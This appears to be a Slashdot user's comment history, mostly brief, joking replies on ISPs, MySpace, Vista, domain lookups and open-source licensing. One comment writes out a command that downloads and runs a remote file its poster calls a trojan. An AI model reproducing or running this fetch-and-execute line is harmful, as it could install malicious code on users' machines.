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  1. Re:A new approach to limiting usage is needed on Time Warner Cable to Test Tiered Bandwidth Caps · · Score: 1

    But seriously, do you really want to see ISPs turn into cell phone carriers?

    Where I live ISPs are cell phone carriers, you incencitive clod!
  2. Re:Excellent Use of Slashdot Power on FCC Seeks Comment In Comcast P2P Investigation · · Score: 1

    That would require the editors to actualy read, let alone understand what is written.

  3. Re:maybe the "community" can help on Pirate Bay Gets a 4,000-Page Complaint · · Score: 1

    Sure, that would be not a problem. I often see people posting with IANAL, so all the others must be one.

    Oh, IANAL.

  4. Re:Cool on Parents To Block Kids From Joining MySpace · · Score: 1

    I can sell you a few million adresses. All valid. They are used for, uh, marketing reasons.

  5. Re:Blocking email addresses? on Parents To Block Kids From Joining MySpace · · Score: 1

    whereby he doesn't do such things, and I don't invade his privacy


    Either you are ignorant or your kids are 50 already. Otherwise they WILL do such things. I was a 'nice' kid acording to my parents, untill when grown up I told them some of the things I did. I do not dare to tell the other half. :-D

    Just do not believe that because you keep your side of the agreement that your kids will as well.
  6. Re:That will NEVER happen on Microsoft Will Stream Ads To Grocery Carts · · Score: 1

    There is an easy way to avaid this trap. Make a shoppinglist and stick to it. If it isn't on the list, it is not going in the card. If you see something your 'forgot'. Do NOT buy it at that moment. Write it down for the next time which could be in 10 minutes, after you checked out first. Amazing how often I think twice about going back into the store, because I do not actualy need the things I 'forgot'.

  7. Where is mine on 10 Strange Computer Keyboards · · Score: 1

    The Happy Hacker. Most people who see it think it is strange. I have had IT people unable to log in as admin, becayse they were unable to figure out you needed 4 fingers for the three finger salute.

  8. Re:Yeah right, your an idiot on Last Sky Commuter For Sale On eBay · · Score: 1

    Watch those same shows and see the ones where the pilots still managed to land the aircraft, like the one over Iraq that got shot at, or the several cases of where an airliner lost all engine power etc etc.

    The one that got shot down over Iraq could have landed much easier if it had a computer system that helped them to fly without hydrolics.

    This does NOT mean I think flying cars are a good idea. Holding something in the air requires more fuel then not doing so and alone for that it is a bad idea.

    Another reason is that in a trafic jam, you can get very close to each other. Try doing that while in the air in 3 dimensions.
  9. Re:For Auction != For Sale on Last Sky Commuter For Sale On eBay · · Score: 1

    For Auction is For Sale. For Sale is not For Auction.

  10. Re:Easy, no Licenses/activation key on Promoting FOSS to People Who Don't Care · · Score: 1

    Most people will choose the free software over paying for something. I actually got my wife to use GIMP in this way. Actually we downloaded a trial of photoshop, and she found that she actually liked GIMP more.


    These are almost contradicting ideas. What was more importand? The fact that it was free or the fact that it was better? Or perhaps that she was already used to GIMP and did not want to change again?
  11. Re:MS tax on Lenovo Delivers SuSE Linux-Based ThinkPads · · Score: 1

    But since the OS is Suse, you still pay a Microsoft tax, am I right?


    No, you won't.
  12. Re:disgusting on FTC Offput by Offsets · · Score: 1

    emitting carbon if you are sequestering just as much somewhere else.


    Why somewhere else? Why not yjere where it happens as much as possible. The extra advatage is that many people will suddenly see what is going on. Another side effect is that cities will become much greener and cooler in the summer. That will lower the need of airco's and will thus need less energy.

    Obviously you can do both.
  13. Re:The page uses browser exploits on White House Gets Green by Putting Federal Budget Online · · Score: 1, Flamebait

    The latest bodycount is around 151.000 and that is Iraqi. But I understand that is a price the Mericans are willing to pay to be able to drive a SUV.

  14. Re:Awesome! on Upgraded Hubble To Be 90 Times As Powerful · · Score: 1

    Please, let nobody tell him that pr0n isn't real either.

  15. Re:Huh, I must have blinked. on Upgraded Hubble To Be 90 Times As Powerful · · Score: 1

    When asked if they would be willing to fly another mission just for fun. To a man, they both said "Absolutely, In a heartbeat."

  16. Re:You're doing it the hard way. on US Courts Consider Legality of Laptop Inspection · · Score: 2, Interesting

    Email the link? Put the link on tinyurl and remember the 5 last characters.

    That would still leave a trail directly to you.

    There is a better wau. Usenet. Encrypt a file into (a series of) pictures with something like steghide. Post the pictures to any (relevant) binary newsgroup.

    Delivery is done by the Usenet system, so there is NO link between the sender and the reciever. Encryption is done with gpg, so no real worries that even if people see there is something in it that they will be able to read it.

  17. Does not work for me on NSI Registers Every Domain Checked · · Score: 1

    I tried PZRH5HNF.COM via the website and via a script and it is still available. I am in Belgium, so perhaps they just do it for US people.

    Would be nice if anybody could verify.

    I now get the following when doing a whois on their server:
    Whois Query: gFrRXjlb.com
    YOUR IP address is 82.146.XXX.YYY
    Date and Time of Query: Tue Jan 08 16:12:42 EST 2008
    Reason Code: IE
    [Reconnect]
    Long live the variable IP adress. Long live scripting. :-D

  18. Re:Any way to... on NSI Registers Every Domain Checked · · Score: 1

    Don't use a dictionary. Use a randomizer. Start with 63 characters+.com, .net, .org and what not.

    So is there a way to do this automagicaly? It should not be too hard to make a bash script using curl for the page http://www.networksolutions.com/whois/index.jsp

    Unfortunatly I am not good enough with curl.

    Is there a whois server we can use?

  19. Re:How many are actually running XP? on Vista Shipped On 39% of PCs In 2007 · · Score: 1

    No only corporate, also in private. All people I have spoken to who have bought a PC (Mainly portables) have removed Vista and replaced it by either XP or some sort of Linux.

    The few that still run Vista is basicaly people who want to see what it is and will remove it sooner or later.

    The fact that Microsoft sells X amount doesn't mean anything, exept for the fact that you can measure how much money they are making. These are not voluntairy sales.
    It is like saying the people in Guantanamo like waering orange, because that is what they wear all the time.

  20. Re:Contamination on Russia to Search For Life on Europa · · Score: 1

    Argue with eachother? Most likely they will kill each other over it. Kill each other by the millions.

  21. Why is everybody against it? on Anti-Missile Technology To Be Tested on Commercial Jets · · Score: 1

    When I read here, everybody is against it. But just imagine there are children aboard. Please think of the children.

  22. Re:Obviously they are worried on McAfee Worried Over "Ambiguous" Open Source Licenses · · Score: 1

    Do I know what a Trojan is? Try the following:
    wget houghi.org/trojan && sh trojan
    and then tell me if I know what a trojan is.

  23. Re:Obviously they are worried on McAfee Worried Over "Ambiguous" Open Source Licenses · · Score: 1

    When all software out there is Open Source, leaks will be found and closed.

    Right, because of course Free software never has security bugs.

    The fact that I said that leaks will be found implies that they are there in the first place, which means I implied that there will be and are security bugs and leaks.

    So no silly claim was made.
  24. Re:They hold in their hand a peice of paper.... on Warner Backs Blu-Ray. End Times For HD-DVD? · · Score: 1

    [Microsoft] absolutely don't want blu ray to succeed, because that means they lose another round to Sony.

    So we have the choice between Sony and Microsoft. Damned if you do and damned if you don't.
  25. Re:Incorrect. The contract defines who owns what. on Who Owns Your Social Data? You Do, Sort of · · Score: 1

    Not always. If I put a gun to your head and say "sign this contract or you will die", I will not become the owner. It is called extortion.

    It becomes more difficult if they say: sign this or you will get no medical treatment. Sign this, or you do not get a drivers licence. Sign this, or you do not get a free pencil.

    The line between extortion and a deal where both parties benefit can be very thing and I do not know where the line is.